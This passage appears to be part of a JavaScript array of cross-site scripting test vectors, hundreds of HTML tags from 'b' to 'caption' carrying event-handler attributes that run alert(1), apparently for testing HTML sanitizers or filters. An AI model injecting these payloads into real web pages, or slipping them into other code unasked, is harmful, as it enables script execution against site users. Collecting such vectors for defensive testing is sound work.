  String.raw`<b oncut="alert(1)" contenteditable>test</b>`,
  String.raw`<b ondblclick="alert(1)">test</b>`,
  String.raw`<b onfocusout=alert(1) tabindex=1 id=x></b><input autofocus>`,
  String.raw`<b onkeydown="alert(1)" contenteditable>test</b>`,
  String.raw`<b onkeypress="alert(1)" contenteditable>test</b>`,
  String.raw`<b onkeyup="alert(1)" contenteditable>test</b>`,
  String.raw`<b onmousedown="alert(1)">test</b>`,
  String.raw`<b onmouseenter="alert(1)">test</b>`,
  String.raw`<b onmouseleave="alert(1)">test</b>`,
  String.raw`<b onmousemove="alert(1)">test</b>`,
  String.raw`<b onmouseout="alert(1)">test</b>`,
  String.raw`<b onmouseover="alert(1)">test</b>`,
  String.raw`<b onmouseup="alert(1)">test</b>`,
  String.raw`<b onpaste="alert(1)" contenteditable>test</b>`,
  String.raw`<base draggable="true" ondrag="alert(1)">test</base>`,
  String.raw`<base draggable="true" ondragend="alert(1)">test</base>`,
  String.raw`<base draggable="true" ondragenter="alert(1)">test</base>`,
  String.raw`<base draggable="true" ondragleave="alert(1)">test</base>`,
  String.raw`<base draggable="true" ondragstart="alert(1)">test</base>`,
  String.raw`<base id=x tabindex=1 onactivate=alert(1)></base>`,
  String.raw`<base id=x tabindex=1 onbeforeactivate=alert(1)></base>`,
  String.raw`<base id=x tabindex=1 onbeforedeactivate=alert(1)></base><input autofocus>`,
  String.raw`<base id=x tabindex=1 ondeactivate=alert(1)></base><input id=y autofocus>`,
  String.raw`<base id=x tabindex=1 onfocus=alert(1)></base>`,
  String.raw`<base id=x tabindex=1 onfocusin=alert(1)></base>`,
  String.raw`<base onbeforecopy="alert(1)" contenteditable>test</base>`,
  String.raw`<base onbeforecut="alert(1)" contenteditable>test</base>`,
  String.raw`<base onbeforepaste="alert(1)" contenteditable>test</base>`,
  String.raw`<base onblur=alert(1) tabindex=1 id=x></base><input autofocus>`,
  String.raw`<base onclick="alert(1)">test</base>`,
  String.raw`<base oncontextmenu="alert(1)">test</base>`,
  String.raw`<base oncopy="alert(1)" contenteditable>test</base>`,
  String.raw`<base oncut="alert(1)" contenteditable>test</base>`,
  String.raw`<base ondblclick="alert(1)">test</base>`,
  String.raw`<base onfocusout=alert(1) tabindex=1 id=x></base><input autofocus>`,
  String.raw`<base onkeydown="alert(1)" contenteditable>test</base>`,
  String.raw`<base onkeypress="alert(1)" contenteditable>test</base>`,
  String.raw`<base onkeyup="alert(1)" contenteditable>test</base>`,
  String.raw`<base onmousedown="alert(1)">test</base>`,
  String.raw`<base onmouseenter="alert(1)">test</base>`,
  String.raw`<base onmouseleave="alert(1)">test</base>`,
  String.raw`<base onmousemove="alert(1)">test</base>`,
  String.raw`<base onmouseout="alert(1)">test</base>`,
  String.raw`<base onmouseover="alert(1)">test</base>`,
  String.raw`<base onmouseup="alert(1)">test</base>`,
  String.raw`<base onpaste="alert(1)" contenteditable>test</base>`,
  String.raw`<basefont draggable="true" ondrag="alert(1)">test</basefont>`,
  String.raw`<basefont draggable="true" ondragend="alert(1)">test</basefont>`,
  String.raw`<basefont draggable="true" ondragenter="alert(1)">test</basefont>`,
  String.raw`<basefont draggable="true" ondragleave="alert(1)">test</basefont>`,
  String.raw`<basefont draggable="true" ondragstart="alert(1)">test</basefont>`,
  String.raw`<basefont id=x tabindex=1 onactivate=alert(1)></basefont>`,
  String.raw`<basefont id=x tabindex=1 onbeforeactivate=alert(1)></basefont>`,
  String.raw`<basefont id=x tabindex=1 onbeforedeactivate=alert(1)></basefont><input autofocus>`,
  String.raw`<basefont id=x tabindex=1 ondeactivate=alert(1)></basefont><input id=y autofocus>`,
  String.raw`<basefont id=x tabindex=1 onfocus=alert(1)></basefont>`,
  String.raw`<basefont id=x tabindex=1 onfocusin=alert(1)></basefont>`,
  String.raw`<basefont onbeforecopy="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont onbeforecut="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont onbeforepaste="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont onblur=alert(1) tabindex=1 id=x></basefont><input autofocus>`,
  String.raw`<basefont onclick="alert(1)">test</basefont>`,
  String.raw`<basefont oncontextmenu="alert(1)">test</basefont>`,
  String.raw`<basefont oncopy="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont oncut="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont ondblclick="alert(1)">test</basefont>`,
  String.raw`<basefont onfocusout=alert(1) tabindex=1 id=x></basefont><input autofocus>`,
  String.raw`<basefont onkeydown="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont onkeypress="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont onkeyup="alert(1)" contenteditable>test</basefont>`,
  String.raw`<basefont onmousedown="alert(1)">test</basefont>`,
  String.raw`<basefont onmouseenter="alert(1)">test</basefont>`,
  String.raw`<basefont onmouseleave="alert(1)">test</basefont>`,
  String.raw`<basefont onmousemove="alert(1)">test</basefont>`,
  String.raw`<basefont onmouseout="alert(1)">test</basefont>`,
  String.raw`<basefont onmouseover="alert(1)">test</basefont>`,
  String.raw`<basefont onmouseup="alert(1)">test</basefont>`,
  String.raw`<basefont onpaste="alert(1)" contenteditable>test</basefont>`,
  String.raw`<bdi draggable="true" ondrag="alert(1)">test</bdi>`,
  String.raw`<bdi draggable="true" ondragend="alert(1)">test</bdi>`,
  String.raw`<bdi draggable="true" ondragenter="alert(1)">test</bdi>`,
  String.raw`<bdi draggable="true" ondragleave="alert(1)">test</bdi>`,
  String.raw`<bdi draggable="true" ondragstart="alert(1)">test</bdi>`,
  String.raw`<bdi id=x tabindex=1 onactivate=alert(1)></bdi>`,
  String.raw`<bdi id=x tabindex=1 onbeforeactivate=alert(1)></bdi>`,
  String.raw`<bdi id=x tabindex=1 onbeforedeactivate=alert(1)></bdi><input autofocus>`,
  String.raw`<bdi id=x tabindex=1 ondeactivate=alert(1)></bdi><input id=y autofocus>`,
  String.raw`<bdi id=x tabindex=1 onfocus=alert(1)></bdi>`,
  String.raw`<bdi id=x tabindex=1 onfocusin=alert(1)></bdi>`,
  String.raw`<bdi onbeforecopy="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi onbeforecut="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi onbeforepaste="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi onblur=alert(1) tabindex=1 id=x></bdi><input autofocus>`,
  String.raw`<bdi onclick="alert(1)">test</bdi>`,
  String.raw`<bdi oncontextmenu="alert(1)">test</bdi>`,
  String.raw`<bdi oncopy="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi oncut="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi ondblclick="alert(1)">test</bdi>`,
  String.raw`<bdi onfocusout=alert(1) tabindex=1 id=x></bdi><input autofocus>`,
  String.raw`<bdi onkeydown="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi onkeypress="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi onkeyup="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdi onmousedown="alert(1)">test</bdi>`,
  String.raw`<bdi onmouseenter="alert(1)">test</bdi>`,
  String.raw`<bdi onmouseleave="alert(1)">test</bdi>`,
  String.raw`<bdi onmousemove="alert(1)">test</bdi>`,
  String.raw`<bdi onmouseout="alert(1)">test</bdi>`,
  String.raw`<bdi onmouseover="alert(1)">test</bdi>`,
  String.raw`<bdi onmouseup="alert(1)">test</bdi>`,
  String.raw`<bdi onpaste="alert(1)" contenteditable>test</bdi>`,
  String.raw`<bdo draggable="true" ondrag="alert(1)">test</bdo>`,
  String.raw`<bdo draggable="true" ondragend="alert(1)">test</bdo>`,
  String.raw`<bdo draggable="true" ondragenter="alert(1)">test</bdo>`,
  String.raw`<bdo draggable="true" ondragleave="alert(1)">test</bdo>`,
  String.raw`<bdo draggable="true" ondragstart="alert(1)">test</bdo>`,
  String.raw`<bdo id=x tabindex=1 onactivate=alert(1)></bdo>`,
  String.raw`<bdo id=x tabindex=1 onbeforeactivate=alert(1)></bdo>`,
  String.raw`<bdo id=x tabindex=1 onbeforedeactivate=alert(1)></bdo><input autofocus>`,
  String.raw`<bdo id=x tabindex=1 ondeactivate=alert(1)></bdo><input id=y autofocus>`,
  String.raw`<bdo id=x tabindex=1 onfocus=alert(1)></bdo>`,
  String.raw`<bdo id=x tabindex=1 onfocusin=alert(1)></bdo>`,
  String.raw`<bdo onbeforecopy="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo onbeforecut="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo onbeforepaste="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo onblur=alert(1) tabindex=1 id=x></bdo><input autofocus>`,
  String.raw`<bdo onclick="alert(1)">test</bdo>`,
  String.raw`<bdo oncontextmenu="alert(1)">test</bdo>`,
  String.raw`<bdo oncopy="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo oncut="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo ondblclick="alert(1)">test</bdo>`,
  String.raw`<bdo onfocusout=alert(1) tabindex=1 id=x></bdo><input autofocus>`,
  String.raw`<bdo onkeydown="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo onkeypress="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo onkeyup="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bdo onmousedown="alert(1)">test</bdo>`,
  String.raw`<bdo onmouseenter="alert(1)">test</bdo>`,
  String.raw`<bdo onmouseleave="alert(1)">test</bdo>`,
  String.raw`<bdo onmousemove="alert(1)">test</bdo>`,
  String.raw`<bdo onmouseout="alert(1)">test</bdo>`,
  String.raw`<bdo onmouseover="alert(1)">test</bdo>`,
  String.raw`<bdo onmouseup="alert(1)">test</bdo>`,
  String.raw`<bdo onpaste="alert(1)" contenteditable>test</bdo>`,
  String.raw`<bgsound draggable="true" ondrag="alert(1)">test</bgsound>`,
  String.raw`<bgsound draggable="true" ondragend="alert(1)">test</bgsound>`,
  String.raw`<bgsound draggable="true" ondragenter="alert(1)">test</bgsound>`,
  String.raw`<bgsound draggable="true" ondragleave="alert(1)">test</bgsound>`,
  String.raw`<bgsound draggable="true" ondragstart="alert(1)">test</bgsound>`,
  String.raw`<bgsound id=x tabindex=1 onactivate=alert(1)></bgsound>`,
  String.raw`<bgsound id=x tabindex=1 onbeforeactivate=alert(1)></bgsound>`,
  String.raw`<bgsound id=x tabindex=1 onbeforedeactivate=alert(1)></bgsound><input autofocus>`,
  String.raw`<bgsound id=x tabindex=1 ondeactivate=alert(1)></bgsound><input id=y autofocus>`,
  String.raw`<bgsound id=x tabindex=1 onfocus=alert(1)></bgsound>`,
  String.raw`<bgsound id=x tabindex=1 onfocusin=alert(1)></bgsound>`,
  String.raw`<bgsound onbeforecopy="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound onbeforecut="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound onbeforepaste="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound onblur=alert(1) tabindex=1 id=x></bgsound><input autofocus>`,
  String.raw`<bgsound onclick="alert(1)">test</bgsound>`,
  String.raw`<bgsound oncontextmenu="alert(1)">test</bgsound>`,
  String.raw`<bgsound oncopy="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound oncut="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound ondblclick="alert(1)">test</bgsound>`,
  String.raw`<bgsound onfocusout=alert(1) tabindex=1 id=x></bgsound><input autofocus>`,
  String.raw`<bgsound onkeydown="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound onkeypress="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound onkeyup="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<bgsound onmousedown="alert(1)">test</bgsound>`,
  String.raw`<bgsound onmouseenter="alert(1)">test</bgsound>`,
  String.raw`<bgsound onmouseleave="alert(1)">test</bgsound>`,
  String.raw`<bgsound onmousemove="alert(1)">test</bgsound>`,
  String.raw`<bgsound onmouseout="alert(1)">test</bgsound>`,
  String.raw`<bgsound onmouseover="alert(1)">test</bgsound>`,
  String.raw`<bgsound onmouseup="alert(1)">test</bgsound>`,
  String.raw`<bgsound onpaste="alert(1)" contenteditable>test</bgsound>`,
  String.raw`<big draggable="true" ondrag="alert(1)">test</big>`,
  String.raw`<big draggable="true" ondragend="alert(1)">test</big>`,
  String.raw`<big draggable="true" ondragenter="alert(1)">test</big>`,
  String.raw`<big draggable="true" ondragleave="alert(1)">test</big>`,
  String.raw`<big draggable="true" ondragstart="alert(1)">test</big>`,
  String.raw`<big id=x tabindex=1 onactivate=alert(1)></big>`,
  String.raw`<big id=x tabindex=1 onbeforeactivate=alert(1)></big>`,
  String.raw`<big id=x tabindex=1 onbeforedeactivate=alert(1)></big><input autofocus>`,
  String.raw`<big id=x tabindex=1 ondeactivate=alert(1)></big><input id=y autofocus>`,
  String.raw`<big id=x tabindex=1 onfocus=alert(1)></big>`,
  String.raw`<big id=x tabindex=1 onfocusin=alert(1)></big>`,
  String.raw`<big onbeforecopy="alert(1)" contenteditable>test</big>`,
  String.raw`<big onbeforecut="alert(1)" contenteditable>test</big>`,
  String.raw`<big onbeforepaste="alert(1)" contenteditable>test</big>`,
  String.raw`<big onblur=alert(1) tabindex=1 id=x></big><input autofocus>`,
  String.raw`<big onclick="alert(1)">test</big>`,
  String.raw`<big oncontextmenu="alert(1)">test</big>`,
  String.raw`<big oncopy="alert(1)" contenteditable>test</big>`,
  String.raw`<big oncut="alert(1)" contenteditable>test</big>`,
  String.raw`<big ondblclick="alert(1)">test</big>`,
  String.raw`<big onfocusout=alert(1) tabindex=1 id=x></big><input autofocus>`,
  String.raw`<big onkeydown="alert(1)" contenteditable>test</big>`,
  String.raw`<big onkeypress="alert(1)" contenteditable>test</big>`,
  String.raw`<big onkeyup="alert(1)" contenteditable>test</big>`,
  String.raw`<big onmousedown="alert(1)">test</big>`,
  String.raw`<big onmouseenter="alert(1)">test</big>`,
  String.raw`<big onmouseleave="alert(1)">test</big>`,
  String.raw`<big onmousemove="alert(1)">test</big>`,
  String.raw`<big onmouseout="alert(1)">test</big>`,
  String.raw`<big onmouseover="alert(1)">test</big>`,
  String.raw`<big onmouseup="alert(1)">test</big>`,
  String.raw`<big onpaste="alert(1)" contenteditable>test</big>`,
  String.raw`<blink draggable="true" ondrag="alert(1)">test</blink>`,
  String.raw`<blink draggable="true" ondragend="alert(1)">test</blink>`,
  String.raw`<blink draggable="true" ondragenter="alert(1)">test</blink>`,
  String.raw`<blink draggable="true" ondragleave="alert(1)">test</blink>`,
  String.raw`<blink draggable="true" ondragstart="alert(1)">test</blink>`,
  String.raw`<blink id=x tabindex=1 onactivate=alert(1)></blink>`,
  String.raw`<blink id=x tabindex=1 onbeforeactivate=alert(1)></blink>`,
  String.raw`<blink id=x tabindex=1 onbeforedeactivate=alert(1)></blink><input autofocus>`,
  String.raw`<blink id=x tabindex=1 ondeactivate=alert(1)></blink><input id=y autofocus>`,
  String.raw`<blink id=x tabindex=1 onfocus=alert(1)></blink>`,
  String.raw`<blink id=x tabindex=1 onfocusin=alert(1)></blink>`,
  String.raw`<blink onbeforecopy="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink onbeforecut="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink onbeforepaste="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink onblur=alert(1) tabindex=1 id=x></blink><input autofocus>`,
  String.raw`<blink onclick="alert(1)">test</blink>`,
  String.raw`<blink oncontextmenu="alert(1)">test</blink>`,
  String.raw`<blink oncopy="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink oncut="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink ondblclick="alert(1)">test</blink>`,
  String.raw`<blink onfocusout=alert(1) tabindex=1 id=x></blink><input autofocus>`,
  String.raw`<blink onkeydown="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink onkeypress="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink onkeyup="alert(1)" contenteditable>test</blink>`,
  String.raw`<blink onmousedown="alert(1)">test</blink>`,
  String.raw`<blink onmouseenter="alert(1)">test</blink>`,
  String.raw`<blink onmouseleave="alert(1)">test</blink>`,
  String.raw`<blink onmousemove="alert(1)">test</blink>`,
  String.raw`<blink onmouseout="alert(1)">test</blink>`,
  String.raw`<blink onmouseover="alert(1)">test</blink>`,
  String.raw`<blink onmouseup="alert(1)">test</blink>`,
  String.raw`<blink onpaste="alert(1)" contenteditable>test</blink>`,
  String.raw`<blockquote draggable="true" ondrag="alert(1)">test</blockquote>`,
  String.raw`<blockquote draggable="true" ondragend="alert(1)">test</blockquote>`,
  String.raw`<blockquote draggable="true" ondragenter="alert(1)">test</blockquote>`,
  String.raw`<blockquote draggable="true" ondragleave="alert(1)">test</blockquote>`,
  String.raw`<blockquote draggable="true" ondragstart="alert(1)">test</blockquote>`,
  String.raw`<blockquote id=x tabindex=1 onactivate=alert(1)></blockquote>`,
  String.raw`<blockquote id=x tabindex=1 onbeforeactivate=alert(1)></blockquote>`,
  String.raw`<blockquote id=x tabindex=1 onbeforedeactivate=alert(1)></blockquote><input autofocus>`,
  String.raw`<blockquote id=x tabindex=1 ondeactivate=alert(1)></blockquote><input id=y autofocus>`,
  String.raw`<blockquote id=x tabindex=1 onfocus=alert(1)></blockquote>`,
  String.raw`<blockquote id=x tabindex=1 onfocusin=alert(1)></blockquote>`,
  String.raw`<blockquote onbeforecopy="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote onbeforecut="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote onbeforepaste="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote onblur=alert(1) tabindex=1 id=x></blockquote><input autofocus>`,
  String.raw`<blockquote onclick="alert(1)">test</blockquote>`,
  String.raw`<blockquote oncontextmenu="alert(1)">test</blockquote>`,
  String.raw`<blockquote oncopy="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote oncut="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote ondblclick="alert(1)">test</blockquote>`,
  String.raw`<blockquote onfocusout=alert(1) tabindex=1 id=x></blockquote><input autofocus>`,
  String.raw`<blockquote onkeydown="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote onkeypress="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote onkeyup="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<blockquote onmousedown="alert(1)">test</blockquote>`,
  String.raw`<blockquote onmouseenter="alert(1)">test</blockquote>`,
  String.raw`<blockquote onmouseleave="alert(1)">test</blockquote>`,
  String.raw`<blockquote onmousemove="alert(1)">test</blockquote>`,
  String.raw`<blockquote onmouseout="alert(1)">test</blockquote>`,
  String.raw`<blockquote onmouseover="alert(1)">test</blockquote>`,
  String.raw`<blockquote onmouseup="alert(1)">test</blockquote>`,
  String.raw`<blockquote onpaste="alert(1)" contenteditable>test</blockquote>`,
  String.raw`<body draggable="true" ondrag="alert(1)">test</body>`,
  String.raw`<body draggable="true" ondragend="alert(1)">test</body>`,
  String.raw`<body draggable="true" ondragenter="alert(1)">test</body>`,
  String.raw`<body draggable="true" ondragleave="alert(1)">test</body>`,
  String.raw`<body draggable="true" ondragstart="alert(1)">test</body>`,
  String.raw`<body id=x tabindex=1 onactivate=alert(1)></body>`,
  String.raw`<body id=x tabindex=1 onbeforeactivate=alert(1)></body>`,
  String.raw`<body id=x tabindex=1 onbeforedeactivate=alert(1)></body><input autofocus>`,
  String.raw`<body id=x tabindex=1 ondeactivate=alert(1)></body><input id=y autofocus>`,
  String.raw`<body id=x tabindex=1 onfocus=alert(1)></body>`,
  String.raw`<body id=x tabindex=1 onfocusin=alert(1)></body>`,
  String.raw`<body onafterprint=alert(1)>`,
  String.raw`<body onbeforecopy="alert(1)" contenteditable>test</body>`,
  String.raw`<body onbeforecut="alert(1)" contenteditable>test</body>`,
  String.raw`<body onbeforepaste="alert(1)" contenteditable>test</body>`,
  String.raw`<body onbeforeprint=alert(1)>`,
  String.raw`<body onbeforeunload="location='javascript:alert(1)'">`,
  String.raw`<body onblur=alert(1) id=x><iframe id=x>`,
  String.raw`<body onclick="alert(1)">test</body>`,
  String.raw`<body oncontextmenu="alert(1)">test</body>`,
  String.raw`<body oncopy="alert(1)" contenteditable>test</body>`,
  String.raw`<body oncut="alert(1)" contenteditable>test</body>`,
  String.raw`<body ondblclick="alert(1)">test</body>`,
  String.raw`<body onerror=alert(1) onload=/>`,
  String.raw`<body onfocusout=alert(1) id=x><iframe id=x>`,
  String.raw`<body onhashchange="alert(1)">`,
  String.raw`<body onkeydown="alert(1)" contenteditable>test</body>`,
  String.raw`<body onkeypress="alert(1)" contenteditable>test</body>`,
  String.raw`<body onkeyup="alert(1)" contenteditable>test</body>`,
  String.raw`<body onload=alert(1)>`,
  String.raw`<body onmessage=alert(1)>`,
  String.raw`<body onmousedown="alert(1)">test</body>`,
  String.raw`<body onmouseenter="alert(1)">test</body>`,
  String.raw`<body onmouseleave="alert(1)">test</body>`,
  String.raw`<body onmousemove="alert(1)">test</body>`,
  String.raw`<body onmouseout="alert(1)">test</body>`,
  String.raw`<body onmouseover="alert(1)">test</body>`,
  String.raw`<body onmouseup="alert(1)">test</body>`,
  String.raw`<body onpageshow=alert(1)>`,
  String.raw`<body onpaste="alert(1)" contenteditable>test</body>`,
  String.raw`<body onpopstate=alert(1)>`,
  String.raw`<body onresize="alert(1)">`,
  String.raw`<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>`,
  String.raw`<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>`,
  String.raw`<body onwheel=alert(1)>`,
  String.raw`<br draggable="true" ondrag="alert(1)">test</br>`,
  String.raw`<br draggable="true" ondragend="alert(1)">test</br>`,
  String.raw`<br draggable="true" ondragenter="alert(1)">test</br>`,
  String.raw`<br draggable="true" ondragleave="alert(1)">test</br>`,
  String.raw`<br draggable="true" ondragstart="alert(1)">test</br>`,
  String.raw`<br id=x tabindex=1 onactivate=alert(1)></br>`,
  String.raw`<br id=x tabindex=1 onbeforeactivate=alert(1)></br>`,
  String.raw`<br id=x tabindex=1 onbeforedeactivate=alert(1)></br><input autofocus>`,
  String.raw`<br id=x tabindex=1 ondeactivate=alert(1)></br><input id=y autofocus>`,
  String.raw`<br id=x tabindex=1 onfocus=alert(1)></br>`,
  String.raw`<br id=x tabindex=1 onfocusin=alert(1)></br>`,
  String.raw`<br onbeforecopy="alert(1)" contenteditable>test</br>`,
  String.raw`<br onbeforecut="alert(1)" contenteditable>test</br>`,
  String.raw`<br onbeforepaste="alert(1)" contenteditable>test</br>`,
  String.raw`<br onblur=alert(1) tabindex=1 id=x></br><input autofocus>`,
  String.raw`<br onclick="alert(1)">test</br>`,
  String.raw`<br oncontextmenu="alert(1)">test</br>`,
  String.raw`<br oncopy="alert(1)" contenteditable>test</br>`,
  String.raw`<br oncut="alert(1)" contenteditable>test</br>`,
  String.raw`<br ondblclick="alert(1)">test</br>`,
  String.raw`<br onfocusout=alert(1) tabindex=1 id=x></br><input autofocus>`,
  String.raw`<br onkeydown="alert(1)" contenteditable>test</br>`,
  String.raw`<br onkeypress="alert(1)" contenteditable>test</br>`,
  String.raw`<br onkeyup="alert(1)" contenteditable>test</br>`,
  String.raw`<br onmousedown="alert(1)">test</br>`,
  String.raw`<br onmouseenter="alert(1)">test</br>`,
  String.raw`<br onmouseleave="alert(1)">test</br>`,
  String.raw`<br onmousemove="alert(1)">test</br>`,
  String.raw`<br onmouseout="alert(1)">test</br>`,
  String.raw`<br onmouseover="alert(1)">test</br>`,
  String.raw`<br onmouseup="alert(1)">test</br>`,
  String.raw`<br onpaste="alert(1)" contenteditable>test</br>`,
  String.raw`<button autofocus onfocus=alert(1)>test</button>`,
  String.raw`<button autofocus onfocusin=alert(1)>test</button>`,
  String.raw`<button draggable="true" ondrag="alert(1)">test</button>`,
  String.raw`<button draggable="true" ondragend="alert(1)">test</button>`,
  String.raw`<button draggable="true" ondragenter="alert(1)">test</button>`,
  String.raw`<button draggable="true" ondragleave="alert(1)">test</button>`,
  String.raw`<button draggable="true" ondragstart="alert(1)">test</button>`,
  String.raw`<button id=x tabindex=1 onactivate=alert(1)></button>`,
  String.raw`<button id=x tabindex=1 onbeforeactivate=alert(1)></button>`,
  String.raw`<button id=x tabindex=1 onbeforedeactivate=alert(1)></button><input autofocus>`,
  String.raw`<button id=x tabindex=1 ondeactivate=alert(1)></button><input id=y autofocus>`,
  String.raw`<button onbeforecopy="alert(1)" contenteditable>test</button>`,
  String.raw`<button onbeforecut="alert(1)" contenteditable>test</button>`,
  String.raw`<button onbeforepaste="alert(1)" contenteditable>test</button>`,
  String.raw`<button onblur=alert(1) id=x></button><input autofocus>`,
  String.raw`<button onclick="alert(1)">test</button>`,
  String.raw`<button oncontextmenu="alert(1)">test</button>`,
  String.raw`<button oncopy="alert(1)" contenteditable>test</button>`,
  String.raw`<button oncut="alert(1)" contenteditable>test</button>`,
  String.raw`<button ondblclick="alert(1)">test</button>`,
  String.raw`<button onfocusout=alert(1) id=x></button><input autofocus>`,
  String.raw`<button onkeydown="alert(1)" contenteditable>test</button>`,
  String.raw`<button onkeypress="alert(1)" contenteditable>test</button>`,
  String.raw`<button onkeyup="alert(1)" contenteditable>test</button>`,
  String.raw`<button onmousedown="alert(1)">test</button>`,
  String.raw`<button onmouseenter="alert(1)">test</button>`,
  String.raw`<button onmouseleave="alert(1)">test</button>`,
  String.raw`<button onmousemove="alert(1)">test</button>`,
  String.raw`<button onmouseout="alert(1)">test</button>`,
  String.raw`<button onmouseover="alert(1)">test</button>`,
  String.raw`<button onmouseup="alert(1)">test</button>`,
  String.raw`<button onpaste="alert(1)" contenteditable>test</button>`,
  String.raw`<canvas draggable="true" ondrag="alert(1)">test</canvas>`,
  String.raw`<canvas draggable="true" ondragend="alert(1)">test</canvas>`,
  String.raw`<canvas draggable="true" ondragenter="alert(1)">test</canvas>`,
  String.raw`<canvas draggable="true" ondragleave="alert(1)">test</canvas>`,
  String.raw`<canvas draggable="true" ondragstart="alert(1)">test</canvas>`,
  String.raw`<canvas id=x tabindex=1 onactivate=alert(1)></canvas>`,
  String.raw`<canvas id=x tabindex=1 onbeforeactivate=alert(1)></canvas>`,
  String.raw`<canvas id=x tabindex=1 onbeforedeactivate=alert(1)></canvas><input autofocus>`,
  String.raw`<canvas id=x tabindex=1 ondeactivate=alert(1)></canvas><input id=y autofocus>`,
  String.raw`<canvas id=x tabindex=1 onfocus=alert(1)></canvas>`,
  String.raw`<canvas id=x tabindex=1 onfocusin=alert(1)></canvas>`,
  String.raw`<canvas onbeforecopy="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas onbeforecut="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas onbeforepaste="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas onblur=alert(1) tabindex=1 id=x></canvas><input autofocus>`,
  String.raw`<canvas onclick="alert(1)">test</canvas>`,
  String.raw`<canvas oncontextmenu="alert(1)">test</canvas>`,
  String.raw`<canvas oncopy="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas oncut="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas ondblclick="alert(1)">test</canvas>`,
  String.raw`<canvas onfocusout=alert(1) tabindex=1 id=x></canvas><input autofocus>`,
  String.raw`<canvas onkeydown="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas onkeypress="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas onkeyup="alert(1)" contenteditable>test</canvas>`,
  String.raw`<canvas onmousedown="alert(1)">test</canvas>`,
  String.raw`<canvas onmouseenter="alert(1)">test</canvas>`,
  String.raw`<canvas onmouseleave="alert(1)">test</canvas>`,
  String.raw`<canvas onmousemove="alert(1)">test</canvas>`,
  String.raw`<canvas onmouseout="alert(1)">test</canvas>`,
  String.raw`<canvas onmouseover="alert(1)">test</canvas>`,
  String.raw`<canvas onmouseup="alert(1)">test</canvas>`,
  String.raw`<canvas onpaste="alert(1)" contenteditable>test</canvas>`,
  String.raw`<caption draggable="true" ondrag="alert(1)">test</caption>`,
  String.raw`<caption draggable="true" ondragend="alert(1)">test</caption>`,
  String.raw`<caption draggable="true" ondragenter="alert(1)">test</caption>`,
  String.raw`<caption draggable="true" ondragleave="alert(1)">test</caption>`,
  String.raw`<caption draggable="true" ondragstart="alert(1)">test</caption>`,
  String.raw`<caption id=x tabindex=1 onactivate=alert(1)></caption>`,
  String.raw`<caption id=x tabindex=1 onbeforeactivate=alert(1)></caption>`,
  String.raw`<caption id=x tabindex=1 onbeforedeactivate=alert(1)></caption><input autofocus>`,
  String.raw`<caption id=x tabindex=1 ondeactivate=alert(1)></caption><input id=y autofocus>`,
  String.raw`<caption id=x tabindex=1 onfocus=alert(1)></caption>`,
  String.raw`<caption id=x tabindex=1 onfocusin=alert(1)></caption>`,
  String.raw`<caption onbeforecopy="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption onbeforecut="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption onbeforepaste="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption onblur=alert(1) tabindex=1 id=x></caption><input autofocus>`,
  String.raw`<caption onclick="alert(1)">test</caption>`,
  String.raw`<caption oncontextmenu="alert(1)">test</caption>`,
  String.raw`<caption oncopy="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption oncut="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption ondblclick="alert(1)">test</caption>`,
  String.raw`<caption onfocusout=alert(1) tabindex=1 id=x></caption><input autofocus>`,
